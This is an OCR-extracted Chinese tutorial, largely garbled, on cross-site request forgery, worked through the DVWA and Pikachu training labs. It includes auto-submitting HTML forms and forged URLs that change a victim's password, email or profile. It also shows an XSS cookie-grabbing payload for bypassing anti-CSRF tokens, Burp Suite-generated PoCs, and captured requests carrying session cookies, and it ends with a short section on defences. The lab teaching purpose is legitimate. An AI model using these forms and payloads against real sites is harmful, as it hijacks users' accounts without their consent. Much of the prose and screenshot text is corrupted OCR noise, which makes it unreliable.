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5. FHIERYAET , HEAEcookiei5[E) T MISA FHFEURL , FTREHE

E(F CSRF WL NATRE, WRBEE=1REEM:

o —ANEEIR(E. NARREFTFERLEEYURESAFRE, XOTRERIFHURE (PIMEXED
FAFRIRER) ERSARFYSEEIRAVETERIE (FIANENAFRIERE. &H3) .

* BT Cookie BIRIFNE. HUTIZIRMELRAE—IHE HTTP 5K, HAENAERFUKBSIE
cookie RAAHIBEKRIABF, IREREMIH BT IRESESISIERFER.

o RBATURIBERSE. FTIZIRFIBSRIESWEETERESRNEENTTSE. F
o, BAFENEEN, MRNEEFTENENEENBE, WZWEFAEZEKE, FBAKREE
FRSAIERTE SR P T AR E X TE =R HIE.

fBlan, Big— R R EF P EE P _E AR FRRABIAYINEE. AP HITIRIERT, fib
I&& BT HTTP iF3K:

POST /email/change HTTP/1.1

Host: vulnerable-website.com

Content-Type: application/x-www-form-urlencoded
Content-Length: 30

Cookie: session=yvthwsztyeQkAPzeQ5gHgTv1yxHfsATE

email=geek@time.com

XIES CSRF FRrEEHI&(4E::

o EEXMENAFIKF AR FHMAIARERECE, PUTIRER, REEBEREBMA
BEEHTEERIAFRIKS,

» NMAEEREREIE cookie FRBIAHERIIAF, IREEMMSESHEIRIRIRRAFASIE.

o WEEILEMHENTREMENERSHVE.

BTYRXEFEM, REEHMTLMEE— M ELT HTML B9ME:

B



<html>
<body>
<form action="https://vulnerable-website.com/email/change” method="POST">
<input type="hidden" name="email" value="geek@time.com" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

IRZFEERFINAREERNNT, BRELUTER:

o IWHEEMNNEBANAX BZIHEAIRERY HTTP 153K,

* MNRAFERERIZZBERINGG, AEMIAYNEEEEEERPESMIARTE cookie (RIR
R{EFASameSite cookie) ,

o ZRWERIMISEIUEESGIRER, FEHNARZEEZAF LY, FESEB TR,

—. DVWAER
Low&g5!
<?php
if( isset( $_GET[ 'change' 1 ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];

$pass_conf = $_GET[ 'password_conf' 1];

// Do the passwords match?

if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database

$insert = "UPDATE "users SET password = '$pass_new' WHERE user = '" .
dvwaCurrentUser() . "';";

$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() .
'</pre>' );

// Feedback for the user

echo "<pre>Password Changed.</pre>";
}
else {

// Issue with passwords matching

echo "<pre>Passwords did not match.</pre>";
}

mysqgl_close();


https://portswigger.net/web-security/csrf/samesite-cookies
af://n39
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?>

NIRRT LB HXERZNBAFMARNR N EZRE T, ERGHES, MEFMIE SIS,

BFE, BEARERENEFEERNERRENHERN— IR, IREE, B
mysqli_real_escape_string () HR#EEEN—LFFF, MRAZEHHER. BE—URNE, B
RAmd5#TINE, BHEUERE.

METIXLEZE, BAENENEEN123456, AILIERHESRTD

127.0.0.1 :SGBOfvuInerabi\ities/{srf,l?pass~.vord new=123456&password conf= 12345644Char1ge:(2ha nge#

Vulnerability: Cross Site Request Forgery (CSRF)

Home ‘
Instructions ‘ Change your admin password:
Setup [ Reset DB ‘
New password:
Brute Force

Command Injection Confirm new password:

|
|
|
File Inclusion ‘
|
|

File Upload Pazsword Changed.
Insecure CAPTCHA
ERTERRIURLE:

http://127.0.0.1:8080/vulnerabilities/csrf/?
password_new=123456&password_conf=123456&Change=Change#

RIE EEAurl, #{7Hi&Epayload:

http://127.0.0.1:8080/vulnerabilities/csrf/?
password_new=aaa&password_conf=aaa&Change=Change#

AILAER, EiEbkeR T EiaIRITE 1

127.0.0.1 :SOSO/vulnerabiIities/csrf/lpa ssword_ne\.v=aaa&pass‘.ﬂ.ford_cor1f=aaaFChangFChange#

Vulnerability: Cross Site Request Forgery (CSRF)

Home |
Instructions | Change your admin password:
Setup / Reset DB |
New password:
Brute Force

Confirm new password

|

| |
File Inclusion |

|

|

Command Injection

File Upload Pazsword Changed.

Insecure CAPTCHA

B2, XtFpayload, —RRAEAILIBHRGEERM, T EASERE, BUBNEFTEE—EMN
x, IBE%E,

R



https://www.ftl2.com/
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CINGE T

127.0.0. 1:8080/vulnerabilities/csrf/?
password new=aaa&password conf=aaa&Change=Changef
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BE—1NERYurl: http://985.s0/cycv
REE—6, LUSENEIRENr, ARLURAENAEXHI, FhaIES=RENE.,
RNt fE, MENZEEETM aaa, ~B=Z123456



http://985.so/cycv

@ 127.0.0.1:8080/vulnerabilities/csrf/?password new=aaa&password conf=aaa&Change=Change#

Home | Vulnerability: Cross Site Request Forgery (CSRF)
Instuctions | Change your admin password:
Setup / Reset DB |
New password:
Brute Force

Command Injection Confirm new password

Password Changed.

File Inclusion
File Upload
Insecure CAPTCHA

MediumZg3l

<?php

if( isset( $_GET[ 'Change' 1 ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?

if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5(C $pass_new );

// Update the database

$insert = "UPDATE “users SET password = '$pass_new' WHERE user = '"
dvwacurrentuser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error()
'</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
3
}
else {

// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";

mysql_close();

?>


af://n61

mediumZEELRIASTE Low RUEA EIEIN T eregithidl, REE— N FRBERIEEREANFTRER, BR
AP AKNE, TEHTTP IRIZHHY REFERER S4§( $_SERVER[ '"HTTP_REFERER' ] )FIEZR HOST &84
( $_SERVER[ 'SERVER_NAME' ]),

if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )

HTTP_REFERER FRNAIXTEKAKIR;

SERVER_NAME SRNECEEUARI 8%, A22SRIREE;
HTTP_HOST 2R IHY url 3LER;
HTTP_HOST = SERVER_NAME : SERVER_PORT

R e, AbrupilE, Ereferersify127.0.0.1%Kds

GET svulnerabilities/csri/Tpassword new=1l2&password conf=123aChange=Change HTTP/1l.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x€4; rv:101.0) Gecko/Z01l00101 Firefox/101.0
Accept: text/html, application/xhtml+txml, application/xml ;gq=0.9, inage/avif, image/wehp,*/*;q=0_8
Accept-Langquage: zh-CH,zh;q=0.8,sh-TW;q=0.7,sh-H;q=0.5, en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

R

Connection. clo<e

EIReferer: http: ///rulnerabilities/osr £/ I

S TUORTE . HIL IVC S SUCIeT ANl CooorEre 8822e70=1€5860959855 , 1656151217, Hm lvt_327a78bl0€e9Ecailcod08%ach4B0d4102=
1EEENSS859, 1656151217; BEEFHOOKE=1uElhIksPrEihix lWaLl0M17GoVelpgt eI 150Ky LEKFoxoBx SnbVEEwqsuBde IWE1 ) IUss) 0k 3nJKazD; PHPSESSID=
hreml fmsimbut 4695915635t 0s0; security=medium

10 Upgrade-Insecure-Regquests: 1

11

Vulnerability: Cross Site Request Forgery (CSRF)

Change your admin password:

MNew password:

Confirm new password:

| Change |

That request didn™t look correct.

ERIRME], ZHER; BUAARKiRrefererfIEI FRIESALI.

HighZk3

HighZZBIAEBIEN0 T Anti-CSRF token#l#l, FAFERIAAXNERERN, RSEESIREI—MBEHEY
token, AIRFBERALIERET, TERERtokenSE], MIRSBERTWENBEKET, Stki@Etoken, RE
tokenlEf, ASABEFIRHEK,

<?php

if( isset( $_GET[ 'Change' 1 ) ) {

// Check Anti-CSRF token

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' 7],
"index.php' );

// Get input
$pass_new
$pass_conf

$_GET[ 'password_new' ];
$_GET[ 'password_conf' 7];


https://www.yiibai.com/php/php_eregi.html
https://baike.baidu.com/item/HTTP_REFERER/5358396?fr=aladdin
af://n74

// Do the passwords match?

if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );

// Update the database

$insert = "UPDATE "users SET password = '$pass_new' WHERE user = '" .
dvwaCurrentUser() . "';";

$result = mysql_query( $insert ) or die( '<pre>' . mysql_error()
'</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";

}
else {

// Issue with passwords matching

echo "<pre>Passwords did not match.</pre>";
3

mysqgl_close();

// Generate Anti-CSRF token
generateSessionToken();

7>

XM HighZ &R FEEFFH T DVWARIXSSIRREFICSRAERIRILRTSRAY, HBIDVWARIXSSHELR, &@id
XSSTmIEERENNEEESCookie,

(1) FIFEXSS3RBcookie

<img src=x OnerroOr=alert(document.cookie)>

@ 121.196.62.22:8080

Hm_lvt_4a78dc1643884da1c990c4cB78832e70=1656099859,165
6151217;
Hm_lvt_322a75b206e96ca32cd089acb480d102=1656099859,165
6151217;
BEEFHOOK=TuZhJXksPvShfxIWaLNOMI7GoVElpgtzl|9oKZy LEXFox
0Bx9m5V86vgSuBdelWRIjIUssjOk3n)KazD;
PHPSESSID=hremlfmsim5ut469919t39t0s0; security=low

PHPSESSID=hrcmIfmsim5ut469919t39t0s0; security=low

(2) MEIEHEZTD



Raw | Params | Headers | Hex

1 GET /wvulnerabilities/ecsrf/?password new=1Z3&password conf=123&Change= Chang+user token=d7datbd339aff565d5a92e03ellc3fhe t{TTP;‘l 1

2 Host: 1Z1.159e.6Z.2I2:8080

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4; rv:101.0) Gecko/ /20100101 Firefox/101.0 ﬂﬂ.ﬂl}%token

4 Accept: text/html,application/xhtml+tzml, application/xml;q=0.9, image/avif, inage /webp,*/*;q=0.8

S Accept-Language: zh-CH,zh;q=0.8,zh-TW;q=0.7,sh-H;q=0.5,en-US;q=0.2,en;q=0.2

¢ Accept-Encoding: gzip, deflate

7 Connection: close

% Referer: http://LlZ1.1%&6.62.22:8080/vulnerabilities/csrf/

% Cockie: Hm lwt_4a78dcle43884daleS5004c878832e70=1656095855, 1656151717; Hm lwt_322a75bhl08e58ca3lcdlB8%ach480d102=
1EL5E055855, 1E56151217; BEEF! = 3 £ lWalllOM17GoVElpgt 211 SoKEyLEXFoxoBx SnbVaEvgbuBde IWR1 ) IUs53 0k 3nJKazD; PHPSESSID=
hreml fmsimSut 4899198350050, fsecurit gh

10 Upgrade-Insecure-R sz h|gh{f§m|ow

11

12

=. Pikachui@mx=

1. EBiEBLEE2Y CSRF (GET)
—NERFERR, BAHTES, BREEDARTHRIIBFRA/Z8

& Pikachu j@RE&IFEE

WESHNE Al CSRF > CSRF(get) login E—ER-
[} -oal 2 ~ ~ - tips(Em— )

® Please Enter Your Information
4£ Cross-Site Scripting v JHE R AR

vince/allen/kobe/grady

@ CsRF v a IKevinucy/il BB
123456
S a
»  CSRF(get)
‘ Login ‘
CSRF(post) h )
CSRF Token

BERHER—ILUMER N AEERIFRE

@ CSRF » CSRF(get)

hello,vince JSRIPKEIN AR | IEHER
¥EEwince

14£5l:bay

Fi1:18626545453

{Ftik:chain

HF#E:vince@pikachu.com

ERTARE

ERRIEINTANEERER, MEEEITEAT

GET swvul/esrf/esriget/esrf_get_edit.php?sex=maniphonenum=11111111111&add=beijingiemail=nagedut4inage. conisubnit=submit HTTP/1.1
Host: 127.0.0.1:8080

User—Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rwv:101.0) Gecko/IZ0100101 Firefox,/101.0

Accept: text/html, application/xhtmltxml, application/xml;q=0.9, inage/avif, inage webhp, */*;q=0_8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-H;gq=0.5,en-US;gq=0_3,en;q=0.Z

Accept-Encoding: gzip, deflate

Connection: close

Peferer: http://127.0.0.1:8080/vul/esrifesriget/osrf_get_edit. php

Cookie: Hm lvt_4a78dclE43884daleS50c40B878832e70=16560959855,1656151217; Hm lwt_322a75bIl08eS6ca3lcdlBSackh480d1l02=

165605959859, 1656151217 BEEFHOOK=1uZhIXrsPvEhfx 1WaLl0M17GoVElpet el 190 EvLEXFoxoBxSnbVEEwgsuBde IWR1] IUs] 0k 3nJKazD; PHPSESSID=
hreml fasimbut469919c35c0s0; security=medium

Upgrade-Insecure-Recquests: 1

Sl B

)

Lo

SHIHER:

4o


af://n84
af://n85

GET /vul/csrf/csrfget/csrf_get_edit.php?
sex=man&phonenum=11111111111&add=beijing&email=geek%40time.com&submit=submit
HTTP/1.1

IEEBIESHRSHbE, Fian:

GET /vul/csrf/csrfget/csrf_get_edit.php?
sex=man&phonenum=22222222222&add=shanghai&email=geek@time.com&submit=submit
HTTP/1.1

REIIANEURLIBIE, RIEEHINETEKkobe (FER—MNIERFERkobelkS)

http://127.0.0.1:8000/vul/csrf/csrfget/csrf_get_edit.php?
sex=man&phonenum=22222222222&add=shanghai&email=geek@time.com&submit=submit

WNERIFI A kobelt ATE RS, cookie/session;EBId A, NMEAMEERIEH, WTE:

F

@ CSRF > CSRF(get)

hello, kobe, FIPEEIN AR F)

ReEtkobe
45 boy

BHER

15988767673
{Efnba lakes
BEFE:kobe@pikachu.com
EUTARE

A CSRF » CSRF(get)

hello,kobe, ¥KIBREINM AR HL

#=kobe
t£3l:man

BHESR

Fil:22222222222
{Hit:shanghai
BEfE:magedu@mage.com
ERTARE

AILAER, FBIESHEEIEREIEN.



2. $9& Ik CSRF (POST)

SigkMgetZpost, BAIFBEERMURLEEHITIEN.

GET Jwvul/esrf/esrfget/osri_get_edit. php?sex=testiphonenum=testiadd=testiemail=testisubmit=submnit HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xE4; rv:101.0) Gecko /20100101 Firefox/101.0

Acecept: text/html, application/xhtml+xml, application/xml;gq=0.9, image/avif, image fwebp, */*;q=0.8

Accept-Language: sh-CH,zh;q=0.8,zh-TW;q=0.7,zh-H;q=0_5, en-US;q=0.3 ,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

2 Referer: http://127.0.0.1:8080/vul/esrifesriget/osrf _get_edit. php

S Coockie: Hm lwt_4a78dcled43884daleS50040878832e70=16560958559,1656151217; Hm lwt_ 327aT7E5bhIl0E8e%Eca3lcd0B85ackh480d4102=
1560598559, 1656151217; BEEFHOOK=1uZhJ:rsPvEhfx1WaLll0M17GoVElpgt sl 18 oKEyLEKFoxoExSuiVEEwgbuBde IWELIUss 0k 3nJKazsl; security=
medium; PHPSESSID=3668lo7luimbel3tupu3hegTad

10 Upgrade-Insecure-Requests: 1

XESEATRTLABME— MBS, (EERAREURLIEX,
HERACRD:

Sl W

<html>

<head>

<script>

window.onload = function() {
document.getElementById("postsubmit™).click();

}

</script>
</head>

<body>

<form method="post"
action="http://127.0.0.1:8000/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="100000002" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="Tlucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>

</body>
</html>

FERF—TAFRHITER
Fis

4 CSRF > CSRF(get)

hello,allen, ¥R EINM AR | IBHER
= allen

45l boy

FH:13676767767

{Hi:nba 76

BRFE:allen@pikachu.com

Er-AEE



af://n102

HERENRAPREENMERNE, TUEZIRFINTAGEREZEBIEN

1.html > ..

Cirl+Al+N
F12
shift+F12
window.onload =
document . getElementByT ") ick(); EEE
} Find All References Shift+Alt+F12
EREHS F2
ERETEILAR Cirl+F2
i lare] Shift-+Alt+F

PHP Server: Serve project
PHP Serv server
: Open file in browser

PHP Server: Stop server

] Cirl+X
=4 ctri+C
F4l, Ctrl+V

Cpen with Live Server Alt+L Alt+O

Stop Live Server Alt+L Alt+C

Ctrl+shift+P

4 CSRF > CSRF{post)

hello,allen, JRIPEEIN A= R
EE:allen
===l

F#1.:100000002

IBHER

{Ftk:hacker
BEFE:lucy@pikachu.com

EEABER

ERERIZAR, KIMERHLRIESHIRT

@ CSRF > CSRF(post)

hello,allen, JRIBEZEIN AR AT
E:allen
{E5:gir

F#.:100000002

IRHER

{Fthacker
BEfE: lucy@pikachu.com

EM-TAEE

M. EFEBurpZRLCSRFFIFAPOC


af://n115

* 7£ Burp Suite Professional FRRYEEEIEEFEZNHEF BRIEK,
o MaHEERE L TFIGREP, EESS5TR/AER CSRF PoC,
* Burp Suite AR —L HTML SERUAIGERNER (iZ cookie, BISHEZEERINREMNR
hm)
o TJLLJEEE CSRF PoC AERRRPRISIPIEIN, LAMBEKERIS N SE. JEREr—EASERER
TR ELAIEERATEIRINEE,
o BEMAY HTML SFIZIMEF, BERFIZRWEMIGHINERTEE, WNESAIA L 7 TE]
AOIEREAR 2L 7 FrssHOR(E.
Raw | Params | Headers | Hex Scan
1 POST fvul/fesrffesrfpost/esrf_post_edit. phy Do passive scan i
2 Host: 127.0.0.1:8080 Do active scan i
;‘ Kser—).?jent,: Hozilla,-’.‘:.? (U.?.ndows WT 10.0; o e Cirlsl Firefofo:Di.D
coept: text/html,application/xhtml+xml, a fwebp, */*;q=0.8
5 Accept-Language: zh-CH,zh;qg=0.8,zh-TW; g=0 Send to Repeater Ctri+R
£ Accept-Encoding: gzip, deflate Send to Sequencer
7 Content-Type: application/x-www-form-urle:
2 Content-Length: 58 Send to Comparer
S Origin: hteop://127.0.0.1:8080 Send to Decoder
10 Connection: close Request in browser [
11l Referer: http://lZ7.0.0.1:8080/vul/esri/o
12 Cockie: H.m_lvt,_43'?8dcl643884(1alc990c4c878m d08%ack480d1l0Z2=
sestosese iy, s ! o st
12 Upgrade-Insecure-Recguests: 1 Change body encoding Schedule tagk
L ) Copy URL Generate CSRF PoC
15 sex=testiphonemm=testiadd=testiemail=tes Copy as curl command
Copy to file
Paste from file
Save item
Don't intercept requests >
Do intercept >
Conve > -
e URL-encode as you type
) * L A b
W CSRF PaC generatar - O *

Request to: hitp:1M21.196.62.22:8081

_[ RawT Params T Headers T Hex }

POST fvul/fesrf/fesrfpost/esrf post edit. php HTTP/L. 1
Host: 127.0.0.1:8080

User-Agent: Mo=zilla/s5.0 (Windows NT 10.0; Wingd4; x=&4;
Acoept: text/htwl,application/xhtml+txml  application/x
Accept-Language: sh-CH,sh:qgq=0.8,sh-TW;qgq=0.7,sh-H; g=0

CoR I S

i

® CSRAF technigue:

(® Auto-select based on request features
() URL-encoded form

() Multipart form

R— |

Regenerate

£ Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded () Plain text form
2 Content-Length: 5& .
Cross-domain XHR (modern browsers on
S Origin: http://127.0.0_.1:8080 - ( ty)
J."' Comnection: close . . ;.
Tn Fowna - Tkdran - F TS A A 1 - OFEN frmal Fovear £ Foreear Fammoek d e £ D Include auto-submit script
CSRF HTML:
1 <html= I
2 <! —— C5RF FoC - generated by Burp Suite Frofessiconal --> -
3 <hody>
4 <scriptrhistory.pushicace('', '', '"J'i< fscript>
5 <form action="http://127.0.0.1:8080/vul/esrf/osrfpost/osrf post_edit. php" method="FOST"
=
= “Zinput type="hidden" name="szex" walue="test" /=
7 “Zinput type="hidden" name="phonenun" wvalue="test" J=
= “Zinput type="hidden" name="add" wvalue="test" J/=
=} “Zinput type="hidden" name="email" walue="test" /=
10 “<input type="hidden" name="submit" wvalue="submit" /=
11 <input type="submit" walue="Submit recquest" />
12 </ form=
1z </hody=
14 </html=
15
e
¥
® = 0 matches

[ Test in browser J l Copy HTHL J l Close J




AILAEEB RN S A

W CSRF PoC generator — | >
g

Request to: http:/121.196.62.22:8081 @
_[ RawT Params T Headers T Hex }

POST /vul/csrffcsripost/osrf post_edit.php HITP/L1.1 ® CERF technique:
Hozt: LI7.0.0.1:8080

User—-Agent: Mozilla/s5.0 (Windows HT 10.0; Winc4d; xE4;
Aocept: text/htul , application/xhtmltxml, application/x () URL-encoded form
Accept-Language: zh-CH,zh;q=0_8,sh-TW;q=0.7,=h-H; q=0
Accept-Encoding: gzip, deflate

Content-Type: application/x—www-form-urlencodecd () Plain text form

(X

® Auto-select based on reguest features

W L

() Multipart form

R— |

=1 o

2 Content-Length: L& = .
(_ Cross-domain XHR (modern browsers on
S Origin: http://127_0.0_1:8080 U { v}
10 Commection: close - i ;
11 TimFravne- Tt s £ 4177 P A T - OO frma ] frras £ foreeas Fam e d e £ [ Include auto-submit script
@ < + = Type a search term
CSRF HTML:
1 <html> 'y
2 <! —— CS5RF Pol - generated by Burp Suite Frofessiconal —->
3 <hody
4 “gcriptrhistory.pushState ("', "', 'JS'ig/scripts
5 <form action="http:// /171 196 EZ_I2Z2:80B1/vul/fesrifesrfpost/osrf post edit_php" method="
POST"=

o

<input type="hidden" name="sex" walue="test" /»
“<input type="hidden" name="phonenum" wvalue="test" /=

-1

= “Zinput type="hidden" name="add" wvalue="test" /=

=} “Zinput type="hidden" name="email" walue="test" /=
10 “<input type="hidden" name="submit" wvalue="submit" /=
11 <input type="submit" walue="Submit recquest" />

1z P Tt Y

13 “zcripts

14 document . forms[0]. subnit () ;

15 </script>

1le Toouy

17 </html>
15 %

® = + » Type & search term 0 matches

Regenerate J [ Test in browser J [ Copy HTHML J l Close J

H. BAEICSRFER
54 CSRF a0 AT A5 A BT IBX AR R CSRF Token:

o WT—MISESHE, EFTTUR
* PEFBFNRE
o TEHTIEXIR(EZAI, EEMEN FEEE™SIIE

1. 3&IF HTTP Referer FER

(1) ZZlReferer
(2) EltHRefererspaiisz
(3) RIERELENEEEENEE

TRHE HTTP 1Y, £ HTTP Sk E— P FRRIUReferer, BICR 71Z HTTP i&ERASKIRIBIE, Et, Zh
18 CSRF I, MISARLARS KSRINEEAYIEKIGIEE Referer (B, MNRIAMIGAYESZ, MiHBZIEKE
RETRIEAS, BEERI. (IR Referer FEMMILANE, NETREREEAI CSRFILE, BEIZE


af://n132
af://n141

2. {EiEKR RN token FHISIE

CSRF W Z FTLARESE LD, RENBETLSEEMERFINEK, ZEKPAENARRIHEREET
£ cookie 1, FILEBRETLMEANEXLIIHMEERIER FEEFMAAFR cookie KBTI LK
iE,

B CSRF, KEETEBKRFHNBERRARLMEINSE, FRIZEEBAFEET cookie 2/, ALL
£ HTTP iERPLUSEBIFINN—BENFZER token, FEIRSB SRR — MERSERIGIEIX
token, WIRIFKFIEE token FE token RBEAIEH, NIASTTEER CSRF WmiEL&EiZiEXK.

3. RDNISIERS

RSO S BRI CSRF & & 5 A AL T3 A,

CSRFEANTRE, FEERERFRABRIBR PG T REIER, IS, NSEHBR YRS B
1IRE, ABeHREZiEK. EEBEBR T, WSS RIFthEH CSRFNE. (BRWIERSHIFD
geRY, RS, HTRFAIGERR, WUbAEEaRTBRURIFERIN LIRS, FEIt, ISIFRBRRE b
EICSRFE—FPAREITFER, MARBFARTEERNMRITE,


af://n144
af://n147
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